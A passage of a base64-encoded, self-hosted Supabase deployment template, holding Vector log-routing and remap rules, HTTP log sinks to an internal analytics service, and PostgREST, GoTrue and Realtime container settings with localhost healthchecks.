nRhaW5lcl9pZClcbiAgICAgIGRlbCguc291cmNlX3R5cGUpXG4gICAgICBkZWwoLnN0cmVhbSlcbiAgICAgIGRlbCgubGFiZWwpXG4gICAgICBkZWwoLmltYWdlKVxuICAgICAgZGVsKC5ob3N0KVxuICAgICAgZGVsKC5zdHJlYW0pXG4gIHJvdXRlcjpcbiAgICB0eXBlOiByb3V0ZVxuICAgIGlucHV0czpcbiAgICAgIC0gcHJvamVjdF9sb2dzXG4gICAgcm91dGU6XG4gICAgICBrb25nOiAnc3RhcnRzX3dpdGgoc3RyaW5nISguYXBwbmFtZSksIFwic3VwYWJhc2Uta29uZ1wiKSdcbiAgICAgIGF1dGg6ICdzdGFydHNfd2l0aChzdHJpbmchKC5hcHBuYW1lKSwgXCJzdXBhYmFzZS1hdXRoXCIpJ1xuICAgICAgcmVzdDogJ3N0YXJ0c193aXRoKHN0cmluZyEoLmFwcG5hbWUpLCBcInN1cGFiYXNlLXJlc3RcIiknXG4gICAgICByZWFsdGltZTogJ3N0YXJ0c193aXRoKHN0cmluZyEoLmFwcG5hbWUpLCBcInJlYWx0aW1lLWRldlwiKSdcbiAgICAgIHN0b3JhZ2U6ICdzdGFydHNfd2l0aChzdHJpbmchKC5hcHBuYW1lKSwgXCJzdXBhYmFzZS1zdG9yYWdlXCIpJ1xuICAgICAgZnVuY3Rpb25zOiAnc3RhcnRzX3dpdGgoc3RyaW5nISguYXBwbmFtZSksIFwic3VwYWJhc2UtZnVuY3Rpb25zXCIpJ1xuICAgICAgZGI6ICdzdGFydHNfd2l0aChzdHJpbmchKC5hcHBuYW1lKSwgXCJzdXBhYmFzZS1kYlwiKSdcbiAgIyBJZ25vcmVzIG5vbiBuZ2lueCBlcnJvcnMgc2luY2UgdGhleSBhcmUgcmVsYXRlZCB3aXRoIGtvbmcgYm9vdGluZyB1cFxuICBrb25nX2xvZ3M6XG4gICAgdHlwZTogcmVtYXBcbiAgICBpbnB1dHM6XG4gICAgICAtIHJvdXRlci5rb25nXG4gICAgc291cmNlOiB8LVxuICAgICAgcmVxLCBlcnIgPSBwYXJzZV9uZ2lueF9sb2coLmV2ZW50X21lc3NhZ2UsIFwiY29tYmluZWRcIilcbiAgICAgIGlmIGVyciA9PSBudWxsIHtcbiAgICAgICAgICAudGltZXN0YW1wID0gcmVxLnRpbWVzdGFtcFxuICAgICAgICAgIC5tZXRhZGF0YS5yZXF1ZXN0LmhlYWRlcnMucmVmZXJlciA9IHJlcS5yZWZlcmVyXG4gICAgICAgICAgLm1ldGFkYXRhLnJlcXVlc3QuaGVhZGVycy51c2VyX2FnZW50ID0gcmVxLmFnZW50XG4gICAgICAgICAgLm1ldGFkYXRhLnJlcXVlc3QuaGVhZGVycy5jZl9jb25uZWN0aW5nX2lwID0gcmVxLmNsaWVudFxuICAgICAgICAgIC5tZXRhZGF0YS5yZXF1ZXN0Lm1ldGhvZCA9IHJlcS5tZXRob2RcbiAgICAgICAgICAubWV0YWRhdGEucmVxdWVzdC5wYXRoID0gcmVxLnBhdGhcbiAgICAgICAgICAubWV0YWRhdGEucmVxdWVzdC5wcm90b2NvbCA9IHJlcS5wcm90b2NvbFxuICAgICAgICAgIC5tZXRhZGF0YS5yZXNwb25zZS5zdGF0dXNfY29kZSA9IHJlcS5zdGF0dXNcbiAgICAgIH1cbiAgICAgIGlmIGVyciAhPSBudWxsIHtcbiAgICAgICAgYWJvcnRcbiAgICAgIH1cbiAgIyBJZ25vcmVzIG5vbiBuZ2lueCBlcnJvcnMgc2luY2UgdGhleSBhcmUgcmVsYXRlZCB3aXRoIGtvbmcgYm9vdGluZyB1cFxuICBrb25nX2VycjpcbiAgICB0eXBlOiByZW1hcFxuICAgIGlucHV0czpcbiAgICAgIC0gcm91dGVyLmtvbmdcbiAgICBzb3VyY2U6IHwtXG4gICAgICAubWV0YWRhdGEucmVxdWVzdC5tZXRob2QgPSBcIkdFVFwiXG4gICAgICAubWV0YWRhdGEucmVzcG9uc2Uuc3RhdHVzX2NvZGUgPSAyMDBcbiAgICAgIHBhcnNlZCwgZXJyID0gcGFyc2VfbmdpbnhfbG9nKC5ldmVudF9tZXNzYWdlLCBcImVycm9yXCIpXG4gICAgICBpZiBlcnIgPT0gbnVsbCB7XG4gICAgICAgICAgLnRpbWVzdGFtcCA9IHBhcnNlZC50aW1lc3RhbXBcbiAgICAgICAgICAuc2V2ZXJpdHkgPSBwYXJzZWQuc2V2ZXJpdHlcbiAgICAgICAgICAubWV0YWRhdGEucmVxdWVzdC5ob3N0ID0gcGFyc2VkLmhvc3RcbiAgICAgICAgICAubWV0YWRhdGEucmVxdWVzdC5oZWFkZXJzLmNmX2Nvbm5lY3RpbmdfaXAgPSBwYXJzZWQuY2xpZW50XG4gICAgICAgICAgdXJsLCBlcnIgPSBzcGxpdChwYXJzZWQucmVxdWVzdCwgXCIgXCIpXG4gICAgICAgICAgaWYgZXJyID09IG51bGwge1xuICAgICAgICAgICAgICAubWV0YWRhdGEucmVxdWVzdC5tZXRob2QgPSB1cmxbMF1cbiAgICAgICAgICAgICAgLm1ldGFkYXRhLnJlcXVlc3QucGF0aCA9IHVybFsxXVxuICAgICAgICAgICAgICAubWV0YWRhdGEucmVxdWVzdC5wcm90b2NvbCA9IHVybFsyXVxuICAgICAgICAgIH1cbiAgICAgIH1cbiAgICAgIGlmIGVyciAhPSBudWxsIHtcbiAgICAgICAgYWJvcnRcbiAgICAgIH1cbiAgIyBHb3RydWUgbG9ncyBhcmUgc3RydWN0dXJlZCBqc29uIHN0cmluZ3Mgd2hpY2ggZnJvbnRlbmQgcGFyc2VzIGRpcmVjdGx5LiBCdXQgd2Uga2VlcCBtZXRhZGF0YSBmb3IgY29uc2lzdGVuY3kuXG4gIGF1dGhfbG9nczpcbiAgICB0eXBlOiByZW1hcFxuICAgIGlucHV0czpcbiAgICAgIC0gcm91dGVyLmF1dGhcbiAgICBzb3VyY2U6IHwtXG4gICAgICBwYXJzZWQsIGVyciA9IHBhcnNlX2pzb24oLmV2ZW50X21lc3NhZ2UpXG4gICAgICBpZiBlcnIgPT0gbnVsbCB7XG4gICAgICAgICAgLm1ldGFkYXRhLnRpbWVzdGFtcCA9IHBhcnNlZC50aW1lXG4gICAgICAgICAgLm1ldGFkYXRhID0gbWVyZ2UhKC5tZXRhZGF0YSwgcGFyc2VkKVxuICAgICAgfVxuICAjIFBvc3RnUkVTVCBsb2dzIGFyZSBzdHJ1Y3R1cmVkIHNvIHdlIHNlcGFyYXRlIHRpbWVzdGFtcCBmcm9tIG1lc3NhZ2UgdXNpbmcgcmVnZXhcbiAgcmVzdF9sb2dzOlxuICAgIHR5cGU6IHJlbWFwXG4gICAgaW5wdXRzOlxuICAgICAgLSByb3V0ZXIucmVzdFxuICAgIHNvdXJjZTogfC1cbiAgICAgIHBhcnNlZCwgZXJyID0gcGFyc2VfcmVnZXgoLmV2ZW50X21lc3NhZ2UsIHInXig/UDx0aW1lPi4qKTogKD9QPG1zZz4uKikkJylcbiAgICAgIGlmIGVyciA9PSBudWxsIHtcbiAgICAgICAgICAuZXZlbnRfbWVzc2FnZSA9IHBhcnNlZC5tc2dcbiAgICAgICAgICAudGltZXN0YW1wID0gdG9fdGltZXN0YW1wIShwYXJzZWQudGltZSlcbiAgICAgICAgICAubWV0YWRhdGEuaG9zdCA9IC5wcm9qZWN0XG4gICAgICB9XG4gICMgUmVhbHRpbWUgbG9ncyBhcmUgc3RydWN0dXJlZCBzbyB3ZSBwYXJzZSB0aGUgc2V2ZXJpdHkgbGV2ZWwgdXNpbmcgcmVnZXggKGlnbm9yZSB0aW1lIGJlY2F1c2UgaXQgaGFzIG5vIGRhdGUpXG4gIHJlYWx0aW1lX2xvZ3M6XG4gICAgdHlwZTogcmVtYXBcbiAgICBpbnB1dHM6XG4gICAgICAtIHJvdXRlci5yZWFsdGltZVxuICAgIHNvdXJjZTogfC1cbiAgICAgIC5tZXRhZGF0YS5wcm9qZWN0ID0gZGVsKC5wcm9qZWN0KVxuICAgICAgLm1ldGFkYXRhLmV4dGVybmFsX2lkID0gLm1ldGFkYXRhLnByb2plY3RcbiAgICAgIHBhcnNlZCwgZXJyID0gcGFyc2VfcmVnZXgoLmV2ZW50X21lc3NhZ2UsIHInXig/UDx0aW1lPlxcZCs6XFxkKzpcXGQrXFwuXFxkKykgXFxbKD9QPGxldmVsPlxcdyspXFxdICg/UDxtc2c+LiopJCcpXG4gICAgICBpZiBlcnIgPT0gbnVsbCB7XG4gICAgICAgICAgLmV2ZW50X21lc3NhZ2UgPSBwYXJzZWQubXNnXG4gICAgICAgICAgLm1ldGFkYXRhLmxldmVsID0gcGFyc2VkLmxldmVsXG4gICAgICB9XG4gICMgU3RvcmFnZSBsb2dzIG1heSBjb250YWluIGpzb24gb2JqZWN0cyBzbyB3ZSBwYXJzZSB0aGVtIGZvciBjb21wbGV0ZW5lc3NcbiAgc3RvcmFnZV9sb2dzOlxuICAgIHR5cGU6IHJlbWFwXG4gICAgaW5wdXRzOlxuICAgICAgLSByb3V0ZXIuc3RvcmFnZVxuICAgIHNvdXJjZTogfC1cbiAgICAgIC5tZXRhZGF0YS5wcm9qZWN0ID0gZGVsKC5wcm9qZWN0KVxuICAgICAgLm1ldGFkYXRhLnRlbmFudElkID0gLm1ldGFkYXRhLnByb2plY3RcbiAgICAgIHBhcnNlZCwgZXJyID0gcGFyc2VfanNvbiguZXZlbnRfbWVzc2FnZSlcbiAgICAgIGlmIGVyciA9PSBudWxsIHtcbiAgICAgICAgICAuZXZlbnRfbWVzc2FnZSA9IHBhcnNlZC5tc2dcbiAgICAgICAgICAubWV0YWRhdGEubGV2ZWwgPSBwYXJzZWQubGV2ZWxcbiAgICAgICAgICAubWV0YWRhdGEudGltZXN0YW1wID0gcGFyc2VkLnRpbWVcbiAgICAgICAgICAubWV0YWRhdGEuY29udGV4dFswXS5ob3N0ID0gcGFyc2VkLmhvc3RuYW1lXG4gICAgICAgICAgLm1ldGFkYXRhLmNvbnRleHRbMF0ucGlkID0gcGFyc2VkLnBpZFxuICAgICAgfVxuICAjIFBvc3RncmVzIGxvZ3Mgc29tZSBtZXNzYWdlcyB0byBzdGRlcnIgd2hpY2ggd2UgbWFwIHRvIHdhcm5pbmcgc2V2ZXJpdHkgbGV2ZWxcbiAgZGJfbG9nczpcbiAgICB0eXBlOiByZW1hcFxuICAgIGlucHV0czpcbiAgICAgIC0gcm91dGVyLmRiXG4gICAgc291cmNlOiB8LVxuICAgICAgLm1ldGFkYXRhLmhvc3QgPSBcImRiLWRlZmF1bHRcIlxuICAgICAgLm1ldGFkYXRhLnBhcnNlZC50aW1lc3RhbXAgPSAudGltZXN0YW1wXG5cbiAgICAgIHBhcnNlZCwgZXJyID0gcGFyc2VfcmVnZXgoLmV2ZW50X21lc3NhZ2UsIHInLiooP1A8bGV2ZWw+SU5GT3xOT1RJQ0V8V0FSTklOR3xFUlJPUnxMT0d8RkFUQUx8UEFOSUM/KTouKicsIG51bWVyaWNfZ3JvdXBzOiB0cnVlKVxuXG4gICAgICBpZiBlcnIgIT0gbnVsbCB8fCBwYXJzZWQgPT0gbnVsbCB7XG4gICAgICAgIC5tZXRhZGF0YS5wYXJzZWQuZXJyb3Jfc2V2ZXJpdHkgPSBcImluZm9cIlxuICAgICAgfVxuICAgICAgaWYgcGFyc2VkICE9IG51bGwge1xuICAgICAgLm1ldGFkYXRhLnBhcnNlZC5lcnJvcl9zZXZlcml0eSA9IHBhcnNlZC5sZXZlbFxuICAgICAgfVxuICAgICAgaWYgLm1ldGFkYXRhLnBhcnNlZC5lcnJvcl9zZXZlcml0eSA9PSBcImluZm9cIiB7XG4gICAgICAgICAgLm1ldGFkYXRhLnBhcnNlZC5lcnJvcl9zZXZlcml0eSA9IFwibG9nXCJcbiAgICAgIH1cbiAgICAgIC5tZXRhZGF0YS5wYXJzZWQuZXJyb3Jfc2V2ZXJpdHkgPSB1cGNhc2UhKC5tZXRhZGF0YS5wYXJzZWQuZXJyb3Jfc2V2ZXJpdHkpXG5cbnNpbmtzOlxuICBsb2dmbGFyZV9hdXRoOlxuICAgIHR5cGU6ICdodHRwJ1xuICAgIGlucHV0czpcbiAgICAgIC0gYXV0aF9sb2dzXG4gICAgZW5jb2Rpbmc6XG4gICAgICBjb2RlYzogJ2pzb24nXG4gICAgbWV0aG9kOiAncG9zdCdcbiAgICByZXF1ZXN0OlxuICAgICAgcmV0cnlfbWF4X2R1cmF0aW9uX3NlY3M6IDEwXG4gICAgdXJpOiAnaHR0cDovL3N1cGFiYXNlLWFuYWx5dGljczo0MDAwL2FwaS9sb2dzP3NvdXJjZV9uYW1lPWdvdHJ1ZS5sb2dzLnByb2QmYXBpX2tleT0ke0xPR0ZMQVJFX0FQSV9LRVk/TE9HRkxBUkVfQVBJX0tFWSBpcyByZXF1aXJlZH0nXG4gIGxvZ2ZsYXJlX3JlYWx0aW1lOlxuICAgIHR5cGU6ICdodHRwJ1xuICAgIGlucHV0czpcbiAgICAgIC0gcmVhbHRpbWVfbG9nc1xuICAgIGVuY29kaW5nOlxuICAgICAgY29kZWM6ICdqc29uJ1xuICAgIG1ldGhvZDogJ3Bvc3QnXG4gICAgcmVxdWVzdDpcbiAgICAgIHJldHJ5X21heF9kdXJhdGlvbl9zZWNzOiAxMFxuICAgIHVyaTogJ2h0dHA6Ly9zdXBhYmFzZS1hbmFseXRpY3M6NDAwMC9hcGkvbG9ncz9zb3VyY2VfbmFtZT1yZWFsdGltZS5sb2dzLnByb2QmYXBpX2tleT0ke0xPR0ZMQVJFX0FQSV9LRVk/TE9HRkxBUkVfQVBJX0tFWSBpcyByZXF1aXJlZH0nXG4gIGxvZ2ZsYXJlX3Jlc3Q6XG4gICAgdHlwZTogJ2h0dHAnXG4gICAgaW5wdXRzOlxuICAgICAgLSByZXN0X2xvZ3NcbiAgICBlbmNvZGluZzpcbiAgICAgIGNvZGVjOiAnanNvbidcbiAgICBtZXRob2Q6ICdwb3N0J1xuICAgIHJlcXVlc3Q6XG4gICAgICByZXRyeV9tYXhfZHVyYXRpb25fc2VjczogMTBcbiAgICB1cmk6ICdodHRwOi8vc3VwYWJhc2UtYW5hbHl0aWNzOjQwMDAvYXBpL2xvZ3M/c291cmNlX25hbWU9cG9zdGdSRVNULmxvZ3MucHJvZCZhcGlfa2V5PSR7TE9HRkxBUkVfQVBJX0tFWT9MT0dGTEFSRV9BUElfS0VZIGlzIHJlcXVpcmVkfSdcbiAgbG9nZmxhcmVfZGI6XG4gICAgdHlwZTogJ2h0dHAnXG4gICAgaW5wdXRzOlxuICAgICAgLSBkYl9sb2dzXG4gICAgZW5jb2Rpbmc6XG4gICAgICBjb2RlYzogJ2pzb24nXG4gICAgbWV0aG9kOiAncG9zdCdcbiAgICByZXF1ZXN0OlxuICAgICAgcmV0cnlfbWF4X2R1cmF0aW9uX3NlY3M6IDEwXG4gICAgIyBXZSBtdXN0IHJvdXRlIHRoZSBzaW5rIHRocm91Z2gga29uZyBiZWNhdXNlIGluZ2VzdGluZyBsb2dzIGJlZm9yZSBsb2dmbGFyZSBpcyBmdWxseSBpbml0aWFsaXNlZCB3aWxsXG4gICAgIyBsZWFkIHRvIGJyb2tlbiBxdWVyaWVzIGZyb20gc3R1ZGlvLiBUaGlzIHdvcmtzIGJ5IHRoZSBhc3N1bXB0aW9uIHRoYXQgY29udGFpbmVycyBhcmUgc3RhcnRlZCBpbiB0aGVcbiAgICAjIGZvbGxvd2luZyBvcmRlcjogdmVjdG9yID4gZGIgPiBsb2dmbGFyZSA+IGtvbmdcbiAgICB1cmk6ICdodHRwOi8vc3VwYWJhc2Uta29uZzo4MDAwL2FuYWx5dGljcy92MS9hcGkvbG9ncz9zb3VyY2VfbmFtZT1wb3N0Z3Jlcy5sb2dzJmFwaV9rZXk9JHtMT0dGTEFSRV9BUElfS0VZP0xPR0ZMQVJFX0FQSV9LRVkgaXMgcmVxdWlyZWR9J1xuICBsb2dmbGFyZV9mdW5jdGlvbnM6XG4gICAgdHlwZTogJ2h0dHAnXG4gICAgaW5wdXRzOlxuICAgICAgLSByb3V0ZXIuZnVuY3Rpb25zXG4gICAgZW5jb2Rpbmc6XG4gICAgICBjb2RlYzogJ2pzb24nXG4gICAgbWV0aG9kOiAncG9zdCdcbiAgICByZXF1ZXN0OlxuICAgICAgcmV0cnlfbWF4X2R1cmF0aW9uX3NlY3M6IDEwXG4gICAgdXJpOiAnaHR0cDovL3N1cGFiYXNlLWFuYWx5dGljczo0MDAwL2FwaS9sb2dzP3NvdXJjZV9uYW1lPWRlbm8tcmVsYXktbG9ncyZhcGlfa2V5PSR7TE9HRkxBUkVfQVBJX0tFWT9MT0dGTEFSRV9BUElfS0VZIGlzIHJlcXVpcmVkfSdcbiAgbG9nZmxhcmVfc3RvcmFnZTpcbiAgICB0eXBlOiAnaHR0cCdcbiAgICBpbnB1dHM6XG4gICAgICAtIHN0b3JhZ2VfbG9nc1xuICAgIGVuY29kaW5nOlxuICAgICAgY29kZWM6ICdqc29uJ1xuICAgIG1ldGhvZDogJ3Bvc3QnXG4gICAgcmVxdWVzdDpcbiAgICAgIHJldHJ5X21heF9kdXJhdGlvbl9zZWNzOiAxMFxuICAgIHVyaTogJ2h0dHA6Ly9zdXBhYmFzZS1hbmFseXRpY3M6NDAwMC9hcGkvbG9ncz9zb3VyY2VfbmFtZT1zdG9yYWdlLmxvZ3MucHJvZC4yJmFwaV9rZXk9JHtMT0dGTEFSRV9BUElfS0VZP0xPR0ZMQVJFX0FQSV9LRVkgaXMgcmVxdWlyZWR9J1xuICBsb2dmbGFyZV9rb25nOlxuICAgIHR5cGU6ICdodHRwJ1xuICAgIGlucHV0czpcbiAgICAgIC0ga29uZ19sb2dzXG4gICAgICAtIGtvbmdfZXJyXG4gICAgZW5jb2Rpbmc6XG4gICAgICBjb2RlYzogJ2pzb24nXG4gICAgbWV0aG9kOiAncG9zdCdcbiAgICByZXF1ZXN0OlxuICAgICAgcmV0cnlfbWF4X2R1cmF0aW9uX3NlY3M6IDEwXG4gICAgdXJpOiAnaHR0cDovL3N1cGFiYXNlLWFuYWx5dGljczo0MDAwL2FwaS9sb2dzP3NvdXJjZV9uYW1lPWNsb3VkZmxhcmUubG9ncy5wcm9kJmFwaV9rZXk9JHtMT0dGTEFSRV9BUElfS0VZP0xPR0ZMQVJFX0FQSV9LRVkgaXMgcmVxdWlyZWR9J1xuIgogICAgICAtICcvdmFyL3J1bi9kb2NrZXIuc29jazovdmFyL3J1bi9kb2NrZXIuc29jazpybycKICAgIGVudmlyb25tZW50OgogICAgICAtICdMT0dGTEFSRV9BUElfS0VZPSR7U0VSVklDRV9QQVNTV09SRF9MT0dGTEFSRX0nCiAgICBjb21tYW5kOgogICAgICAtICctLWNvbmZpZycKICAgICAgLSBldGMvdmVjdG9yL3ZlY3Rvci55bWwKICBzdXBhYmFzZS1yZXN0OgogICAgaW1hZ2U6ICdwb3N0Z3Jlc3QvcG9zdGdyZXN0OnYxMi4yLjEyJwogICAgZGVwZW5kc19vbjoKICAgICAgc3VwYWJhc2UtZGI6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgc3VwYWJhc2UtYW5hbHl0aWNzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUEdSU1RfREJfVVJJPXBvc3RncmVzOi8vYXV0aGVudGljYXRvcjoke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9QCR7UE9TVEdSRVNfSE9TVE5BTUU6LXN1cGFiYXNlLWRifToke1BPU1RHUkVTX1BPUlQ6LTU0MzJ9LyR7UE9TVEdSRVNfREI6LXBvc3RncmVzfScKICAgICAgLSAnUEdSU1RfREJfU0NIRU1BUz0ke1BHUlNUX0RCX1NDSEVNQVM6LXB1YmxpYyxzdG9yYWdlLGdyYXBocWxfcHVibGljfScKICAgICAgLSBQR1JTVF9EQl9BTk9OX1JPTEU9YW5vbgogICAgICAtICdQR1JTVF9KV1RfU0VDUkVUPSR7U0VSVklDRV9QQVNTV09SRF9KV1R9JwogICAgICAtIFBHUlNUX0RCX1VTRV9MRUdBQ1lfR1VDUz1mYWxzZQogICAgICAtICdQR1JTVF9BUFBfU0VUVElOR1NfSldUX1NFQ1JFVD0ke1NFUlZJQ0VfUEFTU1dPUkRfSldUfScKICAgICAgLSAnUEdSU1RfQVBQX1NFVFRJTkdTX0pXVF9FWFA9JHtKV1RfRVhQSVJZOi0zNjAwfScKICAgIGNvbW1hbmQ6IHBvc3RncmVzdAogICAgZXhjbHVkZV9mcm9tX2hjOiB0cnVlCiAgc3VwYWJhc2UtYXV0aDoKICAgIGltYWdlOiAnc3VwYWJhc2UvZ290cnVlOnYyLjE3NC4wJwogICAgZGVwZW5kc19vbjoKICAgICAgc3VwYWJhc2UtZGI6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgc3VwYWJhc2UtYW5hbHl0aWNzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gd2dldAogICAgICAgIC0gJy0tbm8tdmVyYm9zZScKICAgICAgICAtICctLXRyaWVzPTEnCiAgICAgICAgLSAnLS1zcGlkZXInCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTo5OTk5L2hlYWx0aCcKICAgICAgdGltZW91dDogNXMKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHJldHJpZXM6IDMKICAgIGVudmlyb25tZW50OgogICAgICAtIEdPVFJVRV9BUElfSE9TVD0wLjAuMC4wCiAgICAgIC0gR09UUlVFX0FQSV9QT1JUPTk5OTkKICAgICAgLSAnQVBJX0VYVEVSTkFMX1VSTD0ke0FQSV9FWFRFUk5BTF9VUkw6LWh0dHA6Ly9zdXBhYmFzZS1rb25nOjgwMDB9JwogICAgICAtIEdPVFJVRV9EQl9EUklWRVI9cG9zdGdyZXMKICAgICAgLSAnR09UUlVFX0RCX0RBVEFCQVNFX1VSTD1wb3N0Z3JlczovL3N1cGFiYXNlX2F1dGhfYWRtaW46JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUAke1BPU1RHUkVTX0hPU1ROQU1FOi1zdXBhYmFzZS1kYn06JHtQT1NUR1JFU19QT1JUOi01NDMyfS8ke1BPU1RHUkVTX0RCOi1wb3N0Z3Jlc30nCiAgICAgIC0gJ0dPVFJVRV9TSVRFX1VSTD0ke1NFUlZJQ0VfVVJMX1NVUEFCQVNFS09OR30nCiAgICAgIC0gJ0dPVFJVRV9VUklfQUxMT1dfTElTVD0ke0FERElUSU9OQUxfUkVESVJFQ1RfVVJMU30nCiAgICAgIC0gJ0dPVFJVRV9ESVNBQkxFX1NJR05VUD0ke0RJU0FCTEVfU0lHTlVQOi1mYWxzZX0nCiAgICAgIC0gR09UUlVFX0pXVF9BRE1JTl9ST0xFUz1zZXJ2aWNlX3JvbGUKICAgICAgLSBHT1RSVUVfSldUX0FVRD1hdXRoZW50aWNhdGVkCiAgICAgIC0gR09UUlVFX0pXVF9ERUZBVUxUX0dST1VQX05BTUU9YXV0aGVudGljYXRlZAogICAgICAtICdHT1RSVUVfSldUX0VYUD0ke0pXVF9FWFBJUlk6LTM2MDB9JwogICAgICAtICdHT1RSVUVfSldUX1NFQ1JFVD0ke1NFUlZJQ0VfUEFTU1dPUkRfSldUfScKICAgICAgLSAnR09UUlVFX0VYVEVSTkFMX0VNQUlMX0VOQUJMRUQ9JHtFTkFCTEVfRU1BSUxfU0lHTlVQOi10cnVlfScKICAgICAgLSAnR09UUlVFX0VYVEVSTkFMX0FOT05ZTU9VU19VU0VSU19FTkFCTEVEPSR7RU5BQkxFX0FOT05ZTU9VU19VU0VSUzotZmFsc2V9JwogICAgICAtICdHT1RSVUVfTUFJTEVSX0FVVE9DT05GSVJNPSR7RU5BQkxFX0VNQUlMX0FVVE9DT05GSVJNOi1mYWxzZX0nCiAgICAgIC0gJ0dPVFJVRV9TTVRQX0FETUlOX0VNQUlMPSR7U01UUF9BRE1JTl9FTUFJTH0nCiAgICAgIC0gJ0dPVFJVRV9TTVRQX0hPU1Q9JHtTTVRQX0hPU1R9JwogICAgICAtICdHT1RSVUVfU01UUF9QT1JUPSR7U01UUF9QT1JUOi01ODd9JwogICAgICAtICdHT1RSVUVfU01UUF9VU0VSPSR7U01UUF9VU0VSfScKICAgICAgLSAnR09UUlVFX1NNVFBfUEFTUz0ke1NNVFBfUEFTU30nCiAgICAgIC0gJ0dPVFJVRV9TTVRQX1NFTkRFUl9OQU1FPSR7U01UUF9TRU5ERVJfTkFNRX0nCiAgICAgIC0gJ0dPVFJVRV9NQUlMRVJfVVJMUEFUSFNfSU5WSVRFPSR7TUFJTEVSX1VSTFBBVEhTX0lOVklURTotL2F1dGgvdjEvdmVyaWZ5fScKICAgICAgLSAnR09UUlVFX01BSUxFUl9VUkxQQVRIU19DT05GSVJNQVRJT049JHtNQUlMRVJfVVJMUEFUSFNfQ09ORklSTUFUSU9OOi0vYXV0aC92MS92ZXJpZnl9JwogICAgICAtICdHT1RSVUVfTUFJTEVSX1VSTFBBVEhTX1JFQ09WRVJZPSR7TUFJTEVSX1VSTFBBVEhTX1JFQ09WRVJZOi0vYXV0aC92MS92ZXJpZnl9JwogICAgICAtICdHT1RSVUVfTUFJTEVSX1VSTFBBVEhTX0VNQUlMX0NIQU5HRT0ke01BSUxFUl9VUkxQQVRIU19FTUFJTF9DSEFOR0U6LS9hdXRoL3YxL3ZlcmlmeX0nCiAgICAgIC0gJ0dPVFJVRV9NQUlMRVJfVEVNUExBVEVTX0lOVklURT0ke01BSUxFUl9URU1QTEFURVNfSU5WSVRFfScKICAgICAgLSAnR09UUlVFX01BSUxFUl9URU1QTEFURVNfQ09ORklSTUFUSU9OPSR7TUFJTEVSX1RFTVBMQVRFU19DT05GSVJNQVRJT059JwogICAgICAtICdHT1RSVUVfTUFJTEVSX1RFTVBMQVRFU19SRUNPVkVSWT0ke01BSUxFUl9URU1QTEFURVNfUkVDT1ZFUll9JwogICAgICAtICdHT1RSVUVfTUFJTEVSX1RFTVBMQVRFU19NQUdJQ19MSU5LPSR7TUFJTEVSX1RFTVBMQVRFU19NQUdJQ19MSU5LfScKICAgICAgLSAnR09UUlVFX01BSUxFUl9URU1QTEFURVNfRU1BSUxfQ0hBTkdFPSR7TUFJTEVSX1RFTVBMQVRFU19FTUFJTF9DSEFOR0V9JwogICAgICAtICdHT1RSVUVfTUFJTEVSX1NVQkpFQ1RTX0NPTkZJUk1BVElPTj0ke01BSUxFUl9TVUJKRUNUU19DT05GSVJNQVRJT059JwogICAgICAtICdHT1RSVUVfTUFJTEVSX1NVQkpFQ1RTX1JFQ09WRVJZPSR7TUFJTEVSX1NVQkpFQ1RTX1JFQ09WRVJZfScKICAgICAgLSAnR09UUlVFX01BSUxFUl9TVUJKRUNUU19NQUdJQ19MSU5LPSR7TUFJTEVSX1NVQkpFQ1RTX01BR0lDX0xJTkt9JwogICAgICAtICdHT1RSVUVfTUFJTEVSX1NVQkpFQ1RTX0VNQUlMX0NIQU5HRT0ke01BSUxFUl9TVUJKRUNUU19FTUFJTF9DSEFOR0V9JwogICAgICAtICdHT1RSVUVfTUFJTEVSX1NVQkpFQ1RTX0lOVklURT0ke01BSUxFUl9TVUJKRUNUU19JTlZJVEV9JwogICAgICAtICdHT1RSVUVfRVhURVJOQUxfUEhPTkVfRU5BQkxFRD0ke0VOQUJMRV9QSE9ORV9TSUdOVVA6LXRydWV9JwogICAgICAtICdHT1RSVUVfU01TX0FVVE9DT05GSVJNPSR7RU5BQkxFX1BIT05FX0FVVE9DT05GSVJNOi10cnVlfScKICByZWFsdGltZS1kZXY6CiAgICBpbWFnZTogJ3N1cGFiYXNlL3JlYWx0aW1lOnYyLjM0LjQ3JwogICAgY29udGFpbmVyX25hbWU6IHJlYWx0aW1lLWRldi5zdXBhYmFzZS1yZWFsdGltZQogICAgZGVwZW5kc19vbjoKICAgICAgc3VwYWJhc2UtZGI6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgc3VwYWJhc2UtYW5hbHl0aWNzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1zU2ZMJwogICAgICAgIC0gJy0taGVhZCcKICAgICAgICAtICctbycKICAgICAgICAtIC9kZXYvbnVsbAogICAgICAgIC0gJy1IJwogICAgICAgIC0gJ0F1dGhvcml6YXRpb246IEJlYXJlciAke1NFUlZJQ0VfU1VQQUJBU0VBTk9OX0tFWX0nCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTo0MDAwL2FwaS90ZW5hbnRzL3JlYWx0aW1lLWRldi9oZWFsdGgnCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIGludGVydmFsOiA1cwogICAgICByZXRyaWVzOiAzCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBQT1JUPTQwMDAKICAgICAgLSAnREJfSE9TVD0ke1BPU1RHUkVTX0hPU1ROQU1FOi1zdXBhYmFzZS1kYn0nCiAgICAgIC0gJ0RCX1BPUlQ9JHtQT1NUR1JFU19QT1JUOi01NDMyfScKICAgICAgLSBEQl9VU0VSPXN1cGFiYXNlX2FkbWluCiAgICAgIC0gJ0RCX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAg